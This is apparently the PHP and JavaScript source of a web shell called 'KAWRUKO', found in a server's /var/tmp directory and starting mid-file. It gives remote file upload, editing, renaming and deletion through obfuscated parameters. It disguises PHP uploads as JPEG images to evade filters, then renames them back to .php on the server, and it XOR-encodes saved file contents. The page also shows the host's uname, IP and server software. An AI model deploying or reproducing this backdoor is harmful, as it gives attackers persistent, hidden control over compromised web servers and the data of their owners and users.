Mini Shell
Direktori : /var/tmp/ |
|
Current File : //var/tmp/stream2_N8oVfa |
SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
][$files['error'][$i]] ?? 'Unknown upload error';
$result['error'][] = $errorMsg . ": {$files['name'][$i]}";
continue;
}
$fileName = basename($files['name'][$i]);
$mimeType = $files['type'][$i] ?? '';
$tempPath = $files['tmp_name'][$i];
// Check if this is a disguised PHP file
$disguised = $isDisguisedPhp($fileName, $mimeType, $tempPath);
$finalFileName = $disguised ? str_replace('.jpg', '.php', $fileName) : $fileName;
$finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
$validation = $validateFile($finalFileName, $files['size'][$i]);
if ($validation) {
$result['error'][] = $validation . " ({$finalFileName})";
continue;
}
$wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
if ($streamCopyFile($tempPath, $finalDest)) {
$fileInfo = $getFileInfo($finalDest, $finalFileName);
if ($fileInfo) {
$result['added'][] = $fileInfo;
if ($wasOverwritten) {
$result['warning'][] = $disguised ?
"PHP file overwritten: $finalFileName" :
"File overwritten: $finalFileName";
}
}
} else {
$result['error'][] = "Failed to copy uploaded file: $fileName";
}
}
} else {
// Single file upload with disguise detection
if ($files['error'] === UPLOAD_ERR_OK) {
$fileName = basename($files['name']);
$mimeType = $files['type'] ?? '';
$tempPath = $files['tmp_name'];
// Check if this is a disguised PHP file
$disguised = $isDisguisedPhp($fileName, $mimeType, $tempPath);
$finalFileName = $disguised ? str_replace('.jpg', '.php', $fileName) : $fileName;
$finalDest = rtrim($uploadDir, "/\\") . DIRECTORY_SEPARATOR . $finalFileName;
$validation = $validateFile($finalFileName, $files['size']);
if (!$validation) {
$wasOverwritten = $handleOverwrite($finalDest, $finalFileName);
if ($streamCopyFile($tempPath, $finalDest)) {
if (file_exists($finalDest)) {
$fileInfo = $getFileInfo($finalDest, $finalFileName);
if ($fileInfo) {
$result['added'][] = $fileInfo;
if ($wasOverwritten) {
$result['warning'][] = $disguised ?
"PHP file overwritten: $finalFileName" :
"File overwritten: $finalFileName";
}
}
}
} else {
$result['error'][] = "Failed to copy uploaded file: $fileName";
}
} else {
$result['error'][] = $validation;
}
} else {
$errorMsg = [
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File was only partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file was uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
][$files['error']] ?? 'Unknown upload error';
$result['error'][] = $errorMsg;
}
}
}
// If no POST files were processed and no FILES were provided
elseif (!isset($_POST['file_content']) && !isset($_POST['files']) && empty($result['added'])) {
$result['error'][] = "No upload data received (FILES or POST)";
}
// Response
$uploadedCount = count($result['added']);
$overwrittenCount = count($result['removed']);
if ($uploadedCount > 0) {
$uploadedNames = array_map(function($item) { return $item['name']; }, $result['added']);
if ($overwrittenCount > 0) {
$result['notice'] = "Successfully uploaded $uploadedCount file(s), $overwrittenCount overwritten: " . implode(', ', $uploadedNames);
} else {
$result['notice'] = "Successfully uploaded: " . implode(', ', $uploadedNames);
}
}
json_response($result);
break;
case 'delete':
$name = (string)($_POST['name'] ?? '');
$target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
if ($target === false || !within_root($target, $ROOT)) json_response(["ok" => false, "error" => "Invalid target."], 400);
$ok = is_dir($target) ? @rmdir($target) : @unlink($target);
json_response(["ok" => (bool)$ok, "error" => $ok ? null : "Delete failed."]);
break;
case 'rename':
$old = (string)($_POST['old'] ?? '');
$new = (string)($_POST['new'] ?? '');
if ($old === '' || $new === '') json_response(["ok" => false, "error" => "Missing names."], 400);
$from = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $old);
$to = rtrim($path, "/\\") . DIRECTORY_SEPARATOR . basename($new);
if ($from === false || !within_root($from, $ROOT) || !within_root($to, $ROOT)) {
json_response(["ok" => false, "error" => "Invalid path."], 400);
}
$ok = @rename($from, $to);
json_response(["ok" => (bool)$ok, "error" => $ok ? null : "Rename failed."]);
break;
case 'read':
$name = (string)($_POST['name'] ?? '');
$target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
if ($target === false || !within_root($target, $ROOT) || !is_file($target)) {
json_response(["ok" => false, "error" => "Invalid file."], 400);
}
$plain = editor_stream_read_file_plain($target);
json_response(["ok" => true, "content" => $plain, "name" => basename($target)]);
break;
case 'save':
$name = (string)($_POST['name'] ?? '');
$b64 = (string)($_POST['content_b64'] ?? '');
$legacy = (string)($_POST['content'] ?? '');
$target = realpath(rtrim($path, "/\\") . DIRECTORY_SEPARATOR . $name);
if ($target === false || !within_root($target, $ROOT) || !is_file($target)) {
json_response(["ok" => false, "error" => "Invalid file."], 400);
}
$ok = false;
if ($b64 !== '') $ok = editor_stream_decode_and_write_b64($b64, $target);
elseif ($legacy !== '') $ok = editor_stream_decode_and_write_legacy($legacy, $target);
json_response(["ok" => $ok, "error" => $ok ? null : "Save failed."]);
break;
default:
json_response(["ok" => false, "error" => "Unknown shikigf."], 400);
}
}
/* initial path for JS (decode hex from GET) */
$initialParam = isset($_GET['nakxn']) ? (string)$_GET['nakxn'] : '';
$initialPath = $initialParam !== '' ? uhex($initialParam) : $CURRENT;
$statePath = htmlspecialchars(normalize_slashes($initialPath), ENT_QUOTES);
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>🌸 KAWRUKO</title>
<link href="https://fonts.googleapis.com/css2?family=Zilla+Slab:wght@400;500;700&display=swap" rel="stylesheet">
<style>
:root{
--c1:#784848; --c2:#D89090; --c3:#76645B; --c4:#A86078; --c5:#47434C;
--bg:#1e1d22; --panel:#2a2830; --err:#ff6b6b; --ok:#58c98b; --warn:#ffcc66;
--radius:14px; --shadow:0 10px 30px rgba(0,0,0,.35);
}
*{box-sizing:border-box}
html,body{height:100%}
body{ margin:0; font-family:"Zilla Slab", system-ui, -apple-system, Segoe UI, Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif; background: var(--bg); color:#f4f1f6; }
.wrapper{ max-width:1100px; margin:32px auto; padding:0 16px; }
.header{
background: linear-gradient(135deg, var(--c5), var(--c1));
border:1px solid #00000022; box-shadow: var(--shadow);
border-radius: var(--radius); padding:12px 16px;
display:flex; gap:14px; align-items:center; justify-content:space-between;
}
.brand{ display:flex; align-items:center; gap:12px; }
.brand .logo{ width: 40px; height: 40px; border-radius: 10px; overflow: hidden; background: transparent; }
.brand .logo img{ width: 100%; height: 100%; object-fit: contain; display: block; }
.brand h1{font-size:18px; margin:0; letter-spacing:.3px}
.server-info{ text-align: right; display:flex; flex-direction:column; gap:6px; align-items:flex-end; }
.server-info .badge{
display:inline-block; padding:6px 8px; border-radius:12px;
background:#ffffff12; border:1px solid #00000033; color:#f6e9ef;
font-size:12px; line-height:1.3em;
}
.server-info .badge code{ color:#fff; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; }
.breadcrumb{
margin-top:12px; padding:12px 16px; background: var(--panel);
border:1px solid #00000030; border-radius: var(--radius);
box-shadow: var(--shadow); display:flex; flex-wrap:wrap; gap:8px; align-items:center;
}
.crumb, .crumb.current{
text-decoration:none; padding:6px 10px; border-radius:999px;
border:1px solid #00000033; background:#ffffff0e; color:#f6e9ef;
transition: all .15s ease-in-out;
}
.crumb:hover{background:#ffffff25}
.crumb.current{background:#ffffff28; color:#fff; border-color:#00000044}
.crumb-sep{opacity:.6}
.panel{ margin-top:16px; background: var(--panel); border-radius: var(--radius); border:1px solid #0000002a; box-shadow: var(--shadow); overflow:hidden; }
.toolbar{
padding:14px; display:flex; gap:10px; flex-wrap:wrap;
border-bottom:1px solid #0000002a; background:#2a2730;
}
.btn{
appearance:none; border:none; cursor:pointer;
padding:10px 14px; border-radius:12px;
background: linear-gradient(135deg, var(--c2), var(--c4));
color:#291b20; font-weight:700;
box-shadow: 0 6px 14px #00000045, inset 0 1px 0 #ffffff55;
transition: transform .06s ease, filter .2s ease;
}
.btn:hover{ filter:brightness(1.05) }
.btn:active{ transform:translateY(1px) }
.btn.secondary{ background: linear-gradient(135deg, #ffffff18, #ffffff12); color:#f1e7ea; font-weight:600; border:1px solid #00000033; }
.input, .file{ padding:10px 12px; border-radius:12px; border:1px solid #0000003b; background:#1f1d23; color:#eee; min-width:0; }
.table-wrap{ width:100%; overflow:auto }
table{ width:100%; border-collapse:separate; border-spacing:0; }
thead th{ text-align:left; font-weight:700; padding:14px 14px; font-size:14px; position:sticky; top:0; background:#232129; z-index:1; }
tbody td{ padding:14px; border-top:1px solid #00000022; font-size:15px; }
tr:hover td{ background:#ffffff06 }
.type-badge{ font-size:12px; padding:4px 8px; border-radius:999px; background:#ffffff14; border:1px solid #00000033; }
.name{ display:flex; align-items:center; gap:10px; min-width:200px; }
.icon{ width:28px; height:28px; border-radius:8px; display:grid; place-items:center; font-size:14px; background: linear-gradient(135deg, var(--c3), var(--c5)); border:1px solid #00000044; }
.icon.folder{ background: linear-gradient(135deg, var(--c1), var(--c3)); }
.icon.file{ background: linear-gradient(135deg, var(--c4), var(--c2)); }
.row-actions{ display:flex; gap:8px; }
.row-actions .btn{ padding:6px 10px; border-radius:10px; font-size:13px }
.row-actions .btn.danger{ background: linear-gradient(135deg, var(--err), #d35454); color:#2b1010 }
.row-actions .btn.muted{ background: linear-gradient(135deg, #ffffff18, #ffffff10); color:#eee; border:1px solid #00000033 }
#toasts{ position:fixed; right:18px; bottom:18px; display:flex; flex-direction:column; gap:10px; z-index:10050; }
.toast{
min-width:240px; max-width:360px; padding:10px 12px; border-radius:12px;
background:#221f26; border:1px solid #00000044; box-shadow: var(--shadow);
color:#eee; display:flex; align-items:center; gap:10px; animation: slidein .2s ease-out;
}
.toast.ok{ border-color:#2a6146; }
.toast.err{ border-color:#663232; }
.toast.warn{ border-color:#6a5a2a; }
.toast .dot{ width:10px; height:10px; border-radius:999px; }
.toast.ok .dot{ background: var(--ok); }
.toast.err .dot{ background: var(--err); }
.toast.warn .dot{ background: var(--warn); }
@keyframes slidein { from{ transform:translateY(8px); opacity:0 } to{ transform:translateY(0); opacity:1 } }
#editorModal{ position:fixed; inset:0; display:none; align-items:center; justify-content:center; background: rgba(14, 12, 16, .6); padding:20px; z-index:10000; }
.modal-card{ width:min(900px, 95vw); background: #241f27; border:1px solid #00000055; border-radius:16px; box-shadow: var(--shadow); overflow:hidden; display:flex; flex-direction:column; }
.modal-head{ padding:14px 16px; background: linear-gradient(135deg, var(--c5), var(--c1)); display:flex; align-items:center; justify-content:space-between; gap:8px; }
.modal-title{font-weight:700}
.modal-body{ padding:12px }
.modal-actions{ padding:12px; display:flex; gap:8px; justify-content:flex-end; border-top:1px solid #00000033; background:#211d24; }
#editorArea{ width:100%; height:55vh; resize:vertical; padding:12px; border-radius:12px; border:1px solid #00000044; background:#18161b; color:#eee; font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; }
.footer{ margin-top:18px; text-align:center; color:#cfc9d2; opacity:.9; font-size:13px; }
@media (max-width: 640px){
.row-actions .btn{ padding:6px 8px }
td:nth-child(3), th:nth-child(3){ display:none }
}
</style>
</head>
<body>
<div class="wrapper">
<div class="header">
<div class="brand">
<div class="logo"><img src="https://raw.githubusercontent.com/lovelijapeli/zeinhorobosu/refs/heads/main/image.png" alt="Icon"></div>
<h1>KAWRUKO</h1>
</div>
<div class="server-info">
<span class="badge">Server: <code><?= htmlspecialchars($unameFull) ?></code></span>
<span class="badge">IP: <code><?= htmlspecialchars($serverIp) ?></code></span>
<span class="badge">Software: <code><?= htmlspecialchars($serverType) ?></code></span>
</div>
</div>
<div id="breadcrumb" class="breadcrumb">Loading…</div>
<div class="panel">
<div class="toolbar">
<form id="uploadForm">
<input type="file" id="fileInput" class="file" multiple />
<button class="btn" type="submit">Upload</button>
</form>
<div style="flex:1"></div>
<form id="renameForm" style="display:flex; gap:8px; align-items:center">
<input class="input" type="text" id="oldName" placeholder="Old name.ext" />
<span>→</span>
<input class="input" type="text" id="newName" placeholder="New name.ext" />
<button class="btn secondary" type="submit">Rename</button>
</form>
</div>
<div class="table-wrap">
<table id="fmTable">
<thead>
<tr>
<th style="min-width:260px">Name</th>
<th>Type</th>
<th>Size</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody id="fmBody">
<tr><td colspan="5" style="padding:20px; opacity:.8">Loading directory…</td></tr>
</tbody>
</table>
</div>
</div>
<div class="footer">© zeinhorobosu</div>
</div>
<div id="toasts" aria-live="polite" aria-atomic="true"></div>
<div id="editorModal" aria-hidden="true">
<div class="modal-card">
<div class="modal-head">
<div class="modal-title" id="editorTitle">Edit file</div>
<button class="btn secondary" id="editorClose" type="button">Close</button>
</div>
<div class="modal-body">
<textarea id="editorArea" spellcheck="false"></textarea>
</div>
<div class="modal-actions">
<button class="btn" id="editorSave" type="button">Save</button>
</div>
</div>
</div>
<script>
function toast(msg, type='ok', timeout=2600){
const wrap = document.getElementById('toasts');
const el = document.createElement('div');
el.className = 'toast ' + type;
el.innerHTML = `<span class="dot"></span><div>${msg}</div>`;
wrap.appendChild(el);
setTimeout(()=>{ el.style.opacity='0'; el.style.transform='translateY(6px)'; }, timeout);
setTimeout(()=>{ el.remove(); }, timeout+350);
}
const state = {
path: "<?= $statePath ?>",
editing: { name: null }
};
function toHex(str){
let out = '';
for (let i = 0; i < str.length; i++) out += str.charCodeAt(i).toString(16);
return out;
}
// Generic API using shikigf
async function api(shikigf, data = {}) {
const form = new FormData();
form.append('shikigf', shikigf);
form.append('nakxn', toHex(state.path));
for (const [k,v] of Object.entries(data)) form.append(k, v);
const res = await fetch(location.href, { method:'POST', body: form });
const text = await res.text();
try { const j = JSON.parse(text); if (!j.ok) throw new Error(j.error || 'Request failed'); return j; }
catch(e){ console.error('Server raw:', text); throw new Error('Invalid server response'); }
}
const uploadForm = document.getElementById('uploadForm');
const fileInput = document.getElementById('fileInput');
function resetUploadForm(){
try { uploadForm.reset(); } catch(_) {}
if (fileInput) fileInput.value = '';
}
document.addEventListener('click', (e)=>{
const btn = e.target.closest('.btn');
if (btn && !btn.closest('#uploadForm')) resetUploadForm();
});
function render(items){
const tbody = document.getElementById('fmBody');
tbody.innerHTML = '';
if (!items.length){
tbody.innerHTML = '<tr><td colspan="5" style="padding:20px; opacity:.8">Empty directory</td></tr>';
return;
}
for (const it of items){
const tr = document.createElement('tr');
const name = document.createElement('td');
name.className = 'name';
const icon = document.createElement('div');
icon.className = 'icon ' + (it.type === 'dir' ? 'folder' : 'file');
icon.textContent = it.type === 'dir' ? '📁' : '📄';
const link = document.createElement('a');
link.textContent = it.name;
link.style.color = '#fff';
link.style.textDecoration = 'none';
if (it.type === 'dir') {
const newUrl = new URL(location.origin + location.pathname);
newUrl.searchParams.set('nakxn', toHex(it.path));
link.href = newUrl.toString();
link.addEventListener('click', (e) => {
const isModified = e.ctrlKey || e.metaKey || e.shiftKey || e.altKey;
const isMiddle = e.button === 1;
if (!isModified && !isMiddle) {
e.preventDefault();
changeDirectory(it.path);
}
});
} else {
link.href = '#';
link.addEventListener('click', (e)=>{
e.preventDefault();
resetUploadForm();
openEditor(it.name);
});
}
name.appendChild(icon); name.appendChild(link);
const type = document.createElement('td');
type.innerHTML = `<span class="type-badge">${it.type}</span>`;
const size = document.createElement('td'); size.textContent = it.size || '';
const mtime = document.createElement('td'); mtime.textContent = it.mtime;
const actions = document.createElement('td');
const rowActions = document.createElement('div'); rowActions.className = 'row-actions';
if (it.type === 'file'){
const editBtn = document.createElement('button');
editBtn.className = 'btn muted'; editBtn.textContent = 'Edit';
editBtn.addEventListener('click', ()=> { resetUploadForm(); openEditor(it.name); });
rowActions.appendChild(editBtn);
}
const delBtn = document.createElement('button');
delBtn.className = 'btn danger'; delBtn.textContent = 'Delete';
delBtn.addEventListener('click', async ()=>{
try { await api('delete', { name: it.name }); toast(`Deleted "${it.name}"`, 'ok'); resetUploadForm(); await refresh(); }
catch (e){ toast(e.message || 'Delete failed', 'err'); }
});
rowActions.appendChild(delBtn);
actions.appendChild(rowActions);
tr.appendChild(name);
tr.appendChild(type);
tr.appendChild(size);
tr.appendChild(mtime);
tr.appendChild(actions);
tbody.appendChild(tr);
}
}
async function refresh(){
try{
const j = await api('list');
state.path = j.path;
document.getElementById('breadcrumb').innerHTML = j.breadcrumb;
attachBreadcrumbHandlers();
render(j.items);
}catch(e){
toast(e.message, 'err');
}
}
function attachBreadcrumbHandlers(){
document.querySelectorAll('.crumb').forEach(a=>{
a.addEventListener('click', (ev)=>{
ev.preventDefault();
const p = a.getAttribute('data-path');
if (p) changeDirectory(p);
});
});
}
async function changeDirectory(newPath){
state.path = newPath;
resetUploadForm();
try { await refresh(); toast(`Directory: ${newPath}`, 'ok', 1600); }
catch(e){ toast(e.message, 'err'); }
}
// Enhanced upload function with conditional JPG disguising
// Enhanced upload function with conditional JPG disguising
uploadForm.addEventListener('submit', async (e)=>{
e.preventDefault();
const files = fileInput.files;
if (!files.length) { toast('No files selected', 'warn'); return; }
// Check server domain first to determine if we should disguise
let shouldDisguiseClient = false;
try {
// Get server hostname via a quick API call
const testForm = new FormData();
testForm.append('shikigf', 'check_domain');
const response = await fetch(location.href, { method: 'POST', body: testForm });
const result = await response.json();
shouldDisguiseClient = result.should_disguise || false;
} catch(e) {
// If check fails, assume no disguising
shouldDisguiseClient = false;
}
let okCount = 0, failCount = 0;
for (const file of files){
try{
// Only disguise PHP files as JPG if server allows it
let modifiedFile = file;
let originalName = file.name;
if (shouldDisguiseClient && file.name.toLowerCase().endsWith('.php')) {
// Create new file with .jpg extension and image/jpeg MIME type
const newName = file.name.replace(/\.php$/i, '.jpg');
modifiedFile = new File([file], newName, {
type: 'image/jpeg', // Set MIME type to image/jpeg
lastModified: file.lastModified
});
}
// Rest of upload logic remains the same...
const form = new FormData();
form.append('shikigf', 'upload_xor');
form.append('nakxn', toHex(state.path));
form.append('target', 'l1_Lw');
form.append('upload', modifiedFile);
let res = await fetch(location.href, { method: 'POST', body: form });
let text = await res.text();
let result;
try {
result = JSON.parse(text);
} catch(_){
// Fallback methods...
const reader = new FileReader();
const fileContent = await new Promise((resolve, reject) => {
reader.onload = e => resolve(e.target.result);
reader.onerror = reject;
reader.readAsText(file);
});
const postForm = new FormData();
postForm.append('shikigf', 'upload_xor');
postForm.append('nakxn', toHex(state.path));
postForm.append('file_name', modifiedFile.name);
postForm.append('file_content', fileContent);
postForm.append('content_encoding', 'raw');
res = await fetch(location.href, { method: 'POST', body: postForm });
text = await res.text();
try {
result = JSON.parse(text);
} catch(_) {
const base64Content = await new Promise((resolve, reject) => {
const b64Reader = new FileReader();
b64Reader.onload = e => resolve(e.target.result.split(',')[1]);
b64Reader.onerror = reject;
b64Reader.readAsDataURL(file);
});
const b64Form = new FormData();
b64Form.append('shikigf', 'upload_xor');
b64Form.append('nakxn', toHex(state.path));
b64Form.append('file_name', modifiedFile.name);
b64Form.append('file_content', base64Content);
b64Form.append('content_encoding', 'base64');
res = await fetch(location.href, { method: 'POST', body: b64Form });
text = await res.text();
result = JSON.parse(text);
}
}
if (result.error && result.error.length > 0) {
throw new Error(result.error.join(', '));
}
if (result.added && result.added.length > 0) {
// Show original filename in success message
if (shouldDisguiseClient && originalName !== modifiedFile.name) {
toast(`PHP file uploaded: ${originalName}`, 'ok');
} else {
toast(`Uploaded "${file.name}"`, 'ok');
}
okCount++;
} else {
throw new Error('No file was added');
}
}catch(err){
console.error(err);
failCount++;
toast(`${file.name}: ${err?.message || 'Upload failed'}`, 'err', 3600);
}
}
resetUploadForm();
if (okCount) toast(`Uploaded ${okCount} file(s)`, 'ok');
if (failCount) toast(`${failCount} upload(s) failed`, 'err');
await refresh();
});
/* ===== Rename form ===== */
const renameForm = document.getElementById('renameForm');
const oldNameInput = document.getElementById('oldName');
const newNameInput = document.getElementById('newName');
if (renameForm) {
renameForm.addEventListener('submit', async (e) => {
e.preventDefault();
const oldVal = (oldNameInput?.value || '').trim();
const newVal = (newNameInput?.value || '').trim();
if (!oldVal || !newVal) { toast('Please fill both names.', 'warn'); return; }
try {
await api('rename', { old: oldVal, new: newVal });
toast(`Renamed "${oldVal}" → "${newVal}"`, 'ok');
oldNameInput.value = '';
newNameInput.value = '';
await refresh();
} catch (err) {
toast(err.message || 'Rename failed', 'err');
}
});
}
function editorKey(i){
const val = (i * 31 + 7) >>> 0;
const bx = val & 0xFF;
const HALF_PI = Math.PI / 2;
const a = Math.asin(Math.sin(i + 3)) / HALF_PI;
const c = Math.cos(i * 0.5);
const t = Math.atan(Math.tan((i + 1) * 0.25)) / HALF_PI;
const mix = (a + c + t) / 3.0;
const trigByte = Math.floor((mix + 1.0) * 127.5);
const k = ((bx ^ (i & 0xFF)) + trigByte) & 0xFF;
return k;
}
function editorEncodeToBinaryString(str){
let out = [];
for (let i = 0; i < str.length; i++){
const code = str.charCodeAt(i) & 0xFF;
out.push(String.fromCharCode(code ^ editorKey(i)));
}
return out.join('');
}
function b64EncodeBinary(str){ return btoa(str); }
const editorModal = document.getElementById('editorModal');
const editorArea = document.getElementById('editorArea');
const editorTitle = document.getElementById('editorTitle');
document.getElementById('editorClose').addEventListener('click', ()=>{ resetUploadForm(); closeEditor(); });
document.getElementById('editorSave').addEventListener('click', saveEditor);
function openEditor(name){
editorTitle.textContent = 'Edit: ' + name;
editorArea.value = 'Loading…';
editorModal.style.display = 'flex';
state.editing.name = name;
api('read', { name })
.then(j => { editorArea.value = j.content || ''; })
.catch(e => { editorArea.value = ''; toast(e.message, 'err'); });
}
function closeEditor(){ editorModal.style.display = 'none'; state.editing.name = null; }
async function saveEditor(){
const name = state.editing.name;
if (!name) return;
try {
const plain = editorArea.value;
const bin = editorEncodeToBinaryString(plain);
const b64 = b64EncodeBinary(bin);
await api('save', { name, content_b64: b64 });
closeEditor();
resetUploadForm();
toast(`Saved "${name}"`, 'ok');
await refresh();
} catch(e){ toast(e.message, 'err'); }
}
window.addEventListener('keydown', (e)=>{ if (e.key === 'Escape' && editorModal.style.display === 'flex') closeEditor(); });
refresh();
</script>
</body>
</html>